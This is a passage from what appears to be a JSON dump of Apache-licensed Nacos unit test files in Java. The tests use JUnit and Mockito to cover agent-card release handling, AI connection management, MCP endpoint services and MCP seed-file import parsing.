when(a2aServerOperationService.getAgentCard(\"public\", \"test\", null, null)).thenReturn(mockAgentCard);\n        QueryAgentCardResponse response = requestHandler.handle(request, meta);\n        assertEquals(mockAgentCard, response.getAgentCardDetailInfo());\n        assertNull(response.getMessage());\n    }\n    \n    @Test\n    void handleWithException() throws NacosException {\n        QueryAgentCardRequest request = new QueryAgentCardRequest();\n        request.setAgentName(\"test\");\n        request.setNamespaceId(\"public\");\n        when(a2aServerOperationService.getAgentCard(\"public\", \"test\", null, null)).thenThrow(\n                new NacosApiException(NacosException.SERVER_ERROR, ErrorCode.SERVER_ERROR, \"test error\"));\n        QueryAgentCardResponse response = requestHandler.handle(request, meta);\n        assertEquals(ResponseCode.FAIL.getCode(), response.getResultCode());\n        assertEquals(NacosException.SERVER_ERROR, response.getErrorCode());\n        assertEquals(\"test error\", response.getMessage());\n    }\n}"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/remote/handler/a2a/ReleaseAgentCardRequestHandlerTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.remote.handler.a2a;\n\nimport com.alibaba.nacos.ai.service.a2a.A2aServerOperationService;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCard;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCardDetailInfo;\nimport com.alibaba.nacos.api.ai.remote.request.ReleaseAgentCardRequest;\nimport com.alibaba.nacos.api.ai.remote.response.ReleaseAgentCardResponse;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.api.remote.request.RequestMeta;\nimport com.alibaba.nacos.api.remote.response.ResponseCode;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.anyBoolean;\nimport static org.mockito.ArgumentMatchers.anyString;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.never;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass ReleaseAgentCardRequestHandlerTest {\n    \n    @Mock\n    private A2aServerOperationService a2aServerOperationService;\n    \n    @Mock\n    private RequestMeta meta;\n    \n    private ReleaseAgentCardRequestHandler requestHandler;\n    \n    @BeforeEach\n    void setUp() {\n        requestHandler = new ReleaseAgentCardRequestHandler(a2aServerOperationService);\n    }\n    \n    @AfterEach\n    void tearDown() {\n    }\n    \n    @Test\n    void handleWithNullAgentCard() throws NacosException {\n        ReleaseAgentCardRequest request = new ReleaseAgentCardRequest();\n        ReleaseAgentCardResponse response = requestHandler.handle(request, meta);\n        assertEquals(ResponseCode.FAIL.getCode(), response.getResultCode());\n        assertEquals(NacosException.INVALID_PARAM, response.getErrorCode());\n        assertEquals(\"parameters `agentCard` can't be null\", response.getMessage());\n    }\n    \n    @Test\n    void handleWithValidNewAgentCard() throws NacosException {\n        final ReleaseAgentCardRequest request = new ReleaseAgentCardRequest();\n        AgentCard agentCard = new AgentCard();\n        agentCard.setName(\"test\");\n        agentCard.setVersion(\"1.0.0\");\n        agentCard.setProtocolVersion(\"0.3.0\");\n        agentCard.setPreferredTransport(\"JSONRPC\");\n        agentCard.setUrl(\"https://example.com\");\n        request.setAgentCard(agentCard);\n        request.setNamespaceId(\"public\");\n        when(meta.getConnectionId()).thenReturn(\"TEST_CONNECTION_ID\");\n        when(a2aServerOperationService.getAgentCard(\"public\", \"test\", \"1.0.0\", \"\")).thenThrow(\n                new NacosApiException(NacosException.NOT_FOUND, ErrorCode.AGENT_NOT_FOUND, \"\"));\n        ReleaseAgentCardResponse response = requestHandler.handle(request, meta);\n        assertEquals(ResponseCode.SUCCESS.getCode(), response.getResultCode());\n        assertNull(response.getMessage());\n        verify(a2aServerOperationService).registerAgent(any(AgentCard.class), anyString(), anyString());\n    }\n    \n    @Test\n    void handleWithValidNewVersionAgentCard() throws NacosException {\n        final ReleaseAgentCardRequest request = new ReleaseAgentCardRequest();\n        AgentCard agentCard = new AgentCard();\n        agentCard.setName(\"test\");\n        agentCard.setVersion(\"1.0.0\");\n        agentCard.setProtocolVersion(\"0.3.0\");\n        agentCard.setPreferredTransport(\"JSONRPC\");\n        agentCard.setUrl(\"https://example.com\");\n        request.setAgentCard(agentCard);\n        request.setNamespaceId(\"public\");\n        request.setSetAsLatest(true);\n        when(meta.getConnectionId()).thenReturn(\"TEST_CONNECTION_ID\");\n        AgentCardDetailInfo existAgentCard = new AgentCardDetailInfo();\n        existAgentCard.setName(\"test\");\n        existAgentCard.setVersion(\"0.9.0\");\n        when(a2aServerOperationService.getAgentCard(\"public\", \"test\", \"1.0.0\", \"\")).thenThrow(\n                new NacosApiException(NacosException.NOT_FOUND, ErrorCode.AGENT_VERSION_NOT_FOUND, \"\"));\n        ReleaseAgentCardResponse response = requestHandler.handle(request, meta);\n        assertEquals(ResponseCode.SUCCESS.getCode(), response.getResultCode());\n        assertNull(response.getMessage());\n        verify(a2aServerOperationService).updateAgentCard(any(AgentCard.class), anyString(), anyString(), eq(true));\n    }\n    \n    @Test\n    void handleWithExistingAgentCard() throws NacosException {\n        final ReleaseAgentCardRequest request = new ReleaseAgentCardRequest();\n        AgentCard agentCard = new AgentCard();\n        agentCard.setName(\"test\");\n        agentCard.setVersion(\"1.0.0\");\n        agentCard.setProtocolVersion(\"0.3.0\");\n        agentCard.setPreferredTransport(\"JSONRPC\");\n        agentCard.setUrl(\"https://example.com\");\n        request.setAgentCard(agentCard);\n        request.setNamespaceId(\"public\");\n        when(meta.getConnectionId()).thenReturn(\"TEST_CONNECTION_ID\");\n        AgentCardDetailInfo existAgentCard = new AgentCardDetailInfo();\n        existAgentCard.setName(\"test\");\n        existAgentCard.setVersion(\"1.0.0\");\n        when(a2aServerOperationService.getAgentCard(\"public\", \"test\", \"1.0.0\", \"\")).thenReturn(existAgentCard);\n        ReleaseAgentCardResponse response = requestHandler.handle(request, meta);\n        assertEquals(ResponseCode.SUCCESS.getCode(), response.getResultCode());\n        verify(a2aServerOperationService, never()).registerAgent(any(AgentCard.class), anyString(), anyString());\n        verify(a2aServerOperationService, never()).updateAgentCard(any(AgentCard.class), anyString(), anyString(),\n                anyBoolean());\n    }\n    \n    @Test\n    void handleWithOtherException() throws NacosException {\n        final ReleaseAgentCardRequest request = new ReleaseAgentCardRequest();\n        AgentCard agentCard = new AgentCard();\n        agentCard.setName(\"test\");\n        agentCard.setVersion(\"1.0.0\");\n        agentCard.setProtocolVersion(\"0.3.0\");\n        agentCard.setPreferredTransport(\"JSONRPC\");\n        agentCard.setUrl(\"https://example.com\");\n        request.setAgentCard(agentCard);\n        request.setNamespaceId(\"public\");\n        when(meta.getConnectionId()).thenReturn(\"TEST_CONNECTION_ID\");\n        when(a2aServerOperationService.getAgentCard(\"public\", \"test\", \"1.0.0\", \"\")).thenThrow(\n                new NacosApiException(NacosException.SERVER_ERROR, ErrorCode.SERVER_ERROR, \"test error\"));\n        ReleaseAgentCardResponse response = requestHandler.handle(request, meta);\n        assertEquals(ResponseCode.FAIL.getCode(), response.getResultCode());\n        assertEquals(NacosException.SERVER_ERROR, response.getErrorCode());\n        assertEquals(\"test error\", response.getMessage());\n        verify(a2aServerOperationService, never()).registerAgent(any(AgentCard.class), anyString(), anyString());\n        verify(a2aServerOperationService, never()).updateAgentCard(any(AgentCard.class), anyString(), anyString(),\n                anyBoolean());\n    }\n}"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/remote/manager/AiConnectionBasedClientManagerTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.remote.manager;\n\nimport com.alibaba.nacos.api.remote.RemoteConstants;\nimport com.alibaba.nacos.common.remote.ConnectionType;\nimport com.alibaba.nacos.core.remote.Connection;\nimport com.alibaba.nacos.core.remote.ConnectionMeta;\nimport com.alibaba.nacos.naming.consistency.ephemeral.distro.v2.DistroClientVerifyInfo;\nimport com.alibaba.nacos.naming.core.v2.client.ClientAttributes;\nimport com.alibaba.nacos.naming.core.v2.client.impl.ConnectionBasedClient;\nimport com.alibaba.nacos.naming.core.v2.client.manager.impl.ConnectionBasedClientManager;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.util.Collections;\nimport java.util.HashMap;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.anyString;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.never;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass AiConnectionBasedClientManagerTest {\n    \n    private static final String CONNECTION_ID = \"1111111111_127.0.0.1_12345\";\n    \n    @Mock\n    ConnectionBasedClientManager delegate;\n    \n    @Mock\n    Connection connection;\n    \n    ConnectionMeta connectionMeta;\n    \n    AiConnectionBasedClientManager connectionBasedClientManager;\n    \n    @BeforeEach\n    void setUp() {\n        connectionBasedClientManager = new AiConnectionBasedClientManager(delegate);\n        connectionMeta = new ConnectionMeta(CONNECTION_ID, \"127.0.0.1\", \"127.0.0.1\", 12345, 12345,\n                ConnectionType.GRPC.getType(), \"3.0.0\", null, new HashMap<>());\n    }\n    \n    @AfterEach\n    void tearDown() {\n    }\n    \n    @Test\n    void clientConnectedNotAiConnection() {\n        when(connection.getMetaInfo()).thenReturn(connectionMeta);\n        connectionBasedClientManager.clientConnected(connection);\n        verify(delegate, never()).clientConnected(anyString(), any(ClientAttributes.class));\n    }\n    \n    @Test\n    void clientConnected() {\n        when(connection.getMetaInfo()).thenReturn(connectionMeta);\n        connectionMeta.getLabels().put(RemoteConstants.LABEL_MODULE, RemoteConstants.LABEL_MODULE_AI);\n        connectionBasedClientManager.clientConnected(connection);\n        verify(delegate).clientConnected(eq(CONNECTION_ID), any(ClientAttributes.class));\n    }\n    \n    @Test\n    void clientConnectedByClient() {\n        ConnectionBasedClient client = new ConnectionBasedClient(CONNECTION_ID, true, 0L);\n        connectionBasedClientManager.clientConnected(client);\n        verify(delegate).clientConnected(client);\n    }\n    \n    @Test\n    void syncClientConnected() {\n        ClientAttributes clientAttributes = new ClientAttributes();\n        connectionBasedClientManager.syncClientConnected(CONNECTION_ID, clientAttributes);\n        verify(delegate).syncClientConnected(CONNECTION_ID, clientAttributes);\n    }\n    \n    @Test\n    void clientDisConnectedNotAiConnection() {\n        when(connection.getMetaInfo()).thenReturn(connectionMeta);\n        connectionBasedClientManager.clientDisConnected(connection);\n        verify(delegate, never()).clientDisconnected(anyString());\n    }\n    \n    @Test\n    void clientDisconnected() {\n        when(connection.getMetaInfo()).thenReturn(connectionMeta);\n        connectionMeta.getLabels().put(RemoteConstants.LABEL_MODULE, RemoteConstants.LABEL_MODULE_AI);\n        connectionBasedClientManager.clientDisConnected(connection);\n        verify(delegate).clientDisconnected(CONNECTION_ID);\n    }\n    \n    @Test\n    void getClient() {\n        ConnectionBasedClient client = new ConnectionBasedClient(CONNECTION_ID, true, 0L);\n        when(delegate.getClient(CONNECTION_ID)).thenReturn(client);\n        assertEquals(client, connectionBasedClientManager.getClient(CONNECTION_ID));\n    }\n    \n    @Test\n    void contains() {\n        assertFalse(connectionBasedClientManager.contains(CONNECTION_ID));\n        when(delegate.contains(CONNECTION_ID)).thenReturn(true);\n        assertTrue(connectionBasedClientManager.contains(CONNECTION_ID));\n    }\n    \n    @Test\n    void allClientId() {\n        when(delegate.allClientId()).thenReturn(Collections.singleton(CONNECTION_ID));\n        assertEquals(1, connectionBasedClientManager.allClientId().size());\n        assertEquals(CONNECTION_ID, connectionBasedClientManager.allClientId().iterator().next());\n    }\n    \n    @Test\n    void isResponsibleClient() {\n        ConnectionBasedClient client = new ConnectionBasedClient(CONNECTION_ID, true, 0L);\n        assertFalse(connectionBasedClientManager.isResponsibleClient(client));\n        when(delegate.isResponsibleClient(client)).thenReturn(true);\n        assertTrue(connectionBasedClientManager.isResponsibleClient(client));\n    }\n    \n    @Test\n    void verifyClient() {\n        DistroClientVerifyInfo verifyData = new DistroClientVerifyInfo(CONNECTION_ID, 0L);\n        assertFalse(connectionBasedClientManager.verifyClient(verifyData));\n        when(delegate.verifyClient(verifyData)).thenReturn(true);\n        assertTrue(connectionBasedClientManager.verifyClient(verifyData));\n    }\n}"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/service/McpEndpointOperationServiceTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.service;\n\nimport com.alibaba.nacos.ai.constant.Constants;\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.ai.model.mcp.McpEndpointSpec;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServiceRef;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.naming.pojo.ServiceInfo;\nimport com.alibaba.nacos.api.naming.utils.NamingUtils;\nimport com.alibaba.nacos.naming.core.InstanceOperator;\nimport com.alibaba.nacos.naming.core.ServiceOperator;\nimport com.alibaba.nacos.naming.core.v2.ServiceManager;\nimport com.alibaba.nacos.naming.core.v2.metadata.NamingMetadataManager;\nimport com.alibaba.nacos.naming.core.v2.metadata.ServiceMetadata;\nimport com.alibaba.nacos.naming.core.v2.pojo.Service;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.util.Collections;\nimport java.util.LinkedList;\nimport java.util.List;\nimport java.util.Optional;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.anyString;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.never;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass McpEndpointOperationServiceTest {\n    \n    @Mock\n    private ServiceOperator serviceOperator;\n    \n    @Mock\n    private InstanceOperator instanceOperator;\n    \n    @Mock\n    private NamingMetadataManager metadataManager;\n    \n    McpEndpointOperationService endpointOperationService;\n    \n    @BeforeEach\n    void setUp() {\n        endpointOperationService = new McpEndpointOperationService(serviceOperator, instanceOperator, metadataManager);\n    }\n    \n    @AfterEach\n    void tearDown() {\n        Service service = Service.newService(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, Constants.MCP_SERVER_ENDPOINT_GROUP,\n                \"mcpName::1.0.0\");\n        ServiceManager.getInstance().removeSingleton(service);\n    }\n    \n    @Test\n    void createMcpServerEndpointServiceIfNecessaryTypeRefWithoutMsg() {\n        McpEndpointSpec mcpEndpointSpec = new McpEndpointSpec();\n        mcpEndpointSpec.setType(AiConstants.Mcp.MCP_ENDPOINT_TYPE_REF);\n        assertThrows(NacosApiException.class, () -> endpointOperationService.createMcpServerEndpointServiceIfNecessary(\n                        AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, \"mcpName\", \"1.0.0\", mcpEndpointSpec, false),\n                \"`namespaceId`, `groupName`, `serviceName` should be in remoteServerConfig data if type is `REF`\");\n        mcpEndpointSpec.getData().put(\"namespaceId\", AiConstants.Mcp.MCP_DEFAULT_NAMESPACE);\n        assertThrows(NacosApiException.class, () -> endpointOperationService.createMcpServerEndpointServiceIfNecessary(\n                        AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, \"mcpName\", \"1.0.0\", mcpEndpointSpec, false),\n                \"`namespaceId`, `groupName`, `serviceName` should be in remoteServerConfig data if type is `REF`\");\n        mcpEndpointSpec.getData().put(\"groupName\", \"groupName\");\n        assertThrows(NacosApiException.class, () -> endpointOperationService.createMcpServerEndpointServiceIfNecessary(\n                        AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, \"mcpName\", \"1.0.0\", mcpEndpointSpec, false),\n                \"`namespaceId`, `groupName`, `serviceName` should be in remoteServerConfig data if type is `REF`\");\n    }\n    \n    @Test\n    void createMcpServerEndpointServiceIfNecessaryTypeRef() throws NacosException {\n        McpEndpointSpec mcpEndpointSpec = new McpEndpointSpec();\n        mcpEndpointSpec.setType(AiConstants.Mcp.MCP_ENDPOINT_TYPE_REF);\n        mcpEndpointSpec.getData().put(\"namespaceId\", AiConstants.Mcp.MCP_DEFAULT_NAMESPACE);\n        mcpEndpointSpec.getData().put(\"groupName\", \"groupName\");\n        mcpEndpointSpec.getData().put(\"serviceName\", \"serviceName\");\n        Service service = endpointOperationService.createMcpServerEndpointServiceIfNecessary(\n                AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, \"mcpName\", \"1.0.0\", mcpEndpointSpec, false);\n        assertEquals(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, service.getNamespace());\n        assertEquals(\"groupName\", service.getGroup());\n        assertEquals(\"serviceName\", service.getName());\n    }\n    \n    @Test\n    void createMcpServerEndpointServiceIfNecessaryTypeDirectWithoutExistService() throws NacosException {\n        McpEndpointSpec mcpEndpointSpec = new McpEndpointSpec();\n        mcpEndpointSpec.setType(AiConstants.Mcp.MCP_ENDPOINT_TYPE_DIRECT);\n        mcpEndpointSpec.getData().put(\"address\", \"127.0.0.1\");\n        mcpEndpointSpec.getData().put(\"port\", \"8848\");\n        Service service = endpointOperationService.createMcpServerEndpointServiceIfNecessary(\n                AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, \"mcpName\", \"1.0.0\", mcpEndpointSpec, false);\n        assertEquals(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, service.getNamespace());\n        assertEquals(Constants.MCP_SERVER_ENDPOINT_GROUP, service.getGroup());\n        assertEquals(\"mcpName::1.0.0\", service.getName());\n        verify(serviceOperator).create(eq(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE),\n                eq(NamingUtils.getGroupedName(\"mcpName::1.0.0\", Constants.MCP_SERVER_ENDPOINT_GROUP)),\n                any(ServiceMetadata.class));\n        verify(instanceOperator).registerInstance(eq(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE),\n                eq(Constants.MCP_SERVER_ENDPOINT_GROUP), eq(\"mcpName::1.0.0\"), any(Instance.class));\n    }\n    \n    @Test\n    void createMcpServerEndpointServiceIfNecessaryTypeDirectWithExistService() throws NacosException {\n        ServiceManager.getInstance().getSingleton(\n                Service.newService(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, Constants.MCP_SERVER_ENDPOINT_GROUP,\n                        \"mcpName::1.0.0\"));\n        McpEndpointSpec mcpEndpointSpec = new McpEndpointSpec();\n        mcpEndpointSpec.setType(AiConstants.Mcp.MCP_ENDPOINT_TYPE_DIRECT);\n        mcpEndpointSpec.getData().put(\"address\", \"127.0.0.1\");\n        mcpEndpointSpec.getData().put(\"port\", \"8848\");\n        Service service = endpointOperationService.createMcpServerEndpointServiceIfNecessary(\n                AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, \"mcpName\", \"1.0.0\", mcpEndpointSpec, false);\n        assertEquals(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, service.getNamespace());\n        assertEquals(Constants.MCP_SERVER_ENDPOINT_GROUP, service.getGroup());\n        assertEquals(\"mcpName::1.0.0\", service.getName());\n        verify(serviceOperator, never()).create(eq(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE),\n                eq(NamingUtils.getGroupedName(\"mcpName::1.0.0\", Constants.MCP_SERVER_ENDPOINT_GROUP)),\n                any(ServiceMetadata.class));\n        verify(instanceOperator).registerInstance(eq(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE),\n                eq(Constants.MCP_SERVER_ENDPOINT_GROUP), eq(\"mcpName::1.0.0\"), any(Instance.class));\n    }\n    \n    @Test\n    void getMcpServerEndpointInstances() throws NacosException {\n        Instance instance = new Instance();\n        instance.setIp(\"127.0.0.1\");\n        instance.setPort(8848);\n        ServiceInfo serviceInfo = new ServiceInfo();\n        serviceInfo.setHosts(Collections.singletonList(instance));\n        when(instanceOperator.listInstance(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, Constants.MCP_SERVER_ENDPOINT_GROUP,\n                \"mcpName\", null, \"\", true)).thenReturn(serviceInfo);\n        McpServiceRef serviceRef = new McpServiceRef();\n        serviceRef.setNamespaceId(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE);\n        serviceRef.setGroupName(Constants.MCP_SERVER_ENDPOINT_GROUP);\n        serviceRef.setServiceName(\"mcpName\");\n        List<Instance> actual = endpointOperationService.getMcpServerEndpointInstances(serviceRef);\n        assertEquals(1, actual.size());\n        assertEquals(\"127.0.0.1\", actual.get(0).getIp());\n        assertEquals(8848, actual.get(0).getPort());\n    }\n    \n    @Test\n    void deleteMcpServerEndpointServiceForNonExistService() throws NacosException {\n        endpointOperationService.deleteMcpServerEndpointService(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, \"mcpName\");\n        verify(instanceOperator, never()).removeInstance(anyString(), anyString(), anyString(), any(Instance.class));\n        verify(serviceOperator, never()).delete(anyString(), anyString());\n    }\n    \n    @Test\n    void deleteMcpServerEndpointServiceForRefService() throws NacosException {\n        Service service = Service.newService(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, Constants.MCP_SERVER_ENDPOINT_GROUP,\n                \"mcpName\");\n        ServiceManager.getInstance().getSingleton(service);\n        when(metadataManager.getServiceMetadata(service)).thenReturn(Optional.empty());\n        endpointOperationService.deleteMcpServerEndpointService(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, \"mcpName\");\n        verify(instanceOperator, never()).removeInstance(anyString(), anyString(), anyString(), any(Instance.class));\n        verify(serviceOperator, never()).delete(anyString(), anyString());\n    }\n    \n    @Test\n    void deleteMcpServerEndpointService() throws NacosException {\n        Service service = Service.newService(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, Constants.MCP_SERVER_ENDPOINT_GROUP,\n                \"mcpName\");\n        ServiceManager.getInstance().getSingleton(service);\n        ServiceMetadata serviceMetadata = new ServiceMetadata();\n        serviceMetadata.getExtendData()\n                .put(Constants.MCP_SERVER_ENDPOINT_METADATA_MARK, Constants.MCP_SERVER_ENDPOINT_METADATA_MARK);\n        when(metadataManager.getServiceMetadata(service)).thenReturn(Optional.of(serviceMetadata));\n        List<Instance> instances = new LinkedList<>();\n        Instance instance = new Instance();\n        instance.setIp(\"127.0.0.1\");\n        instance.setPort(8848);\n        instances.add(instance);\n        instance = new Instance();\n        instance.setIp(\"127.0.0.1\");\n        instance.setPort(9848);\n        instances.add(instance);\n        ServiceInfo serviceInfo = new ServiceInfo();\n        serviceInfo.setHosts(instances);\n        when(instanceOperator.listInstance(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, Constants.MCP_SERVER_ENDPOINT_GROUP,\n                \"mcpName\", null, \"\", false)).thenReturn(serviceInfo);\n        endpointOperationService.deleteMcpServerEndpointService(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, \"mcpName\");\n        for (Instance each : instances) {\n            verify(instanceOperator).removeInstance(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE,\n                    Constants.MCP_SERVER_ENDPOINT_GROUP, \"mcpName\", each);\n        }\n        verify(serviceOperator).delete(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE,\n                NamingUtils.getGroupedName(\"mcpName\", Constants.MCP_SERVER_ENDPOINT_GROUP));\n    }\n}"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/service/McpExternalDataAdaptorTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.service;\n\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerDetailInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerImportRequest;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.DisplayName;\nimport org.mockito.Mock;\nimport org.mockito.MockitoAnnotations;\n\nimport java.net.http.HttpClient;\nimport java.net.http.HttpRequest;\nimport java.net.http.HttpResponse;\nimport java.util.List;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.Mockito.mock;\nimport static org.mockito.Mockito.when;\n\n/**\n * Test for McpExternalDataAdaptor with MCP Registry support.\n * Covers file, json, and url import types.\n *\n * @author nacos\n */\n@DisplayName(\"McpExternalDataAdaptor Tests\")\nclass McpExternalDataAdaptorTest {\n\n    private McpExternalDataAdaptor adaptor;\n\n    @Mock\n    private HttpClient mockHttpClient;\n\n    @BeforeEach\n    void setUp() {\n        MockitoAnnotations.openMocks(this);\n        adaptor = new McpExternalDataAdaptor();\n    }\n\n    // ==================== FILE TYPE IMPORT TESTS ====================\n\n    @Test\n    @DisplayName(\"Should adapt valid MCP seed file to server list\")\n    void testAdaptValidSeedFile() throws Exception {\n        String seedFileData = \"\"\"\n            [\n              {\n                \"name\": \"ai.aliengiraffe/spotdb\",\n                \"description\": \"Test Server\",\n                \"version\": \"0.1.0\",\n                \"repository\": {\n                  \"url\": \"https://github.com/test/repo\"\n                }\n              }\n            ]\n            \"\"\";\n\n        McpServerImportRequest request = new McpServerImportRequest();\n        request.setImportType(\"file\");\n        request.setData(seedFileData);\n\n        List<McpServerDetailInfo> result = adaptor.adaptExternalDataToNacosMcpServerFormat(request);\n\n        assertNotNull(result);\n        assertFalse(result.isEmpty());\n        assertEquals(1, result.size());\n        assertEquals(\"ai.aliengiraffe/spotdb\", result.get(0).getName());\n        assertEquals(\"Test Server\", result.get(0).getDescription());\n        assertNotNull(result.get(0).getId());\n    }\n\n    @Test\n    @DisplayName(\"Should handle multiple servers in seed file\")\n    void testAdaptMultipleServersInSeedFile() throws Exception {\n        String seedFileData = \"\"\"\n            [\n              {\n                \"name\": \"server1\",\n                \"description\": \"First Server\",\n                \"version\": \"1.0.0\",\n                \"repository\": {\n                  \"url\": \"https://github.com/test/repo1\"\n                }\n              },\n              {\n                \"name\": \"server2\",\n                \"description\": \"Second Server\",\n                \"version\": \"2.0.0\",\n                \"repository\": {\n                  \"url\": \"https://github.com/test/repo2\"\n                }\n              }\n            ]\n            \"\"\";\n\n        McpServerImportRequest request = new McpServerImportRequest();\n        request.setImportType(\"file\");\n        request.setData(seedFileData);\n\n        List<McpServerDetailInfo> result = adaptor.adaptExternalDataToNacosMcpServerFormat(request);\n\n        assertEquals(2, result.size());\n        assertEquals(\"server1\", result.get(0).getName());\n        assertEquals(\"server2\", result.get(1).getName());\n    }\n\n    @Test\n    @DisplayName(\"Should handle empty seed file\")\n    void testAdaptEmptySeedFile() throws Exception {\n       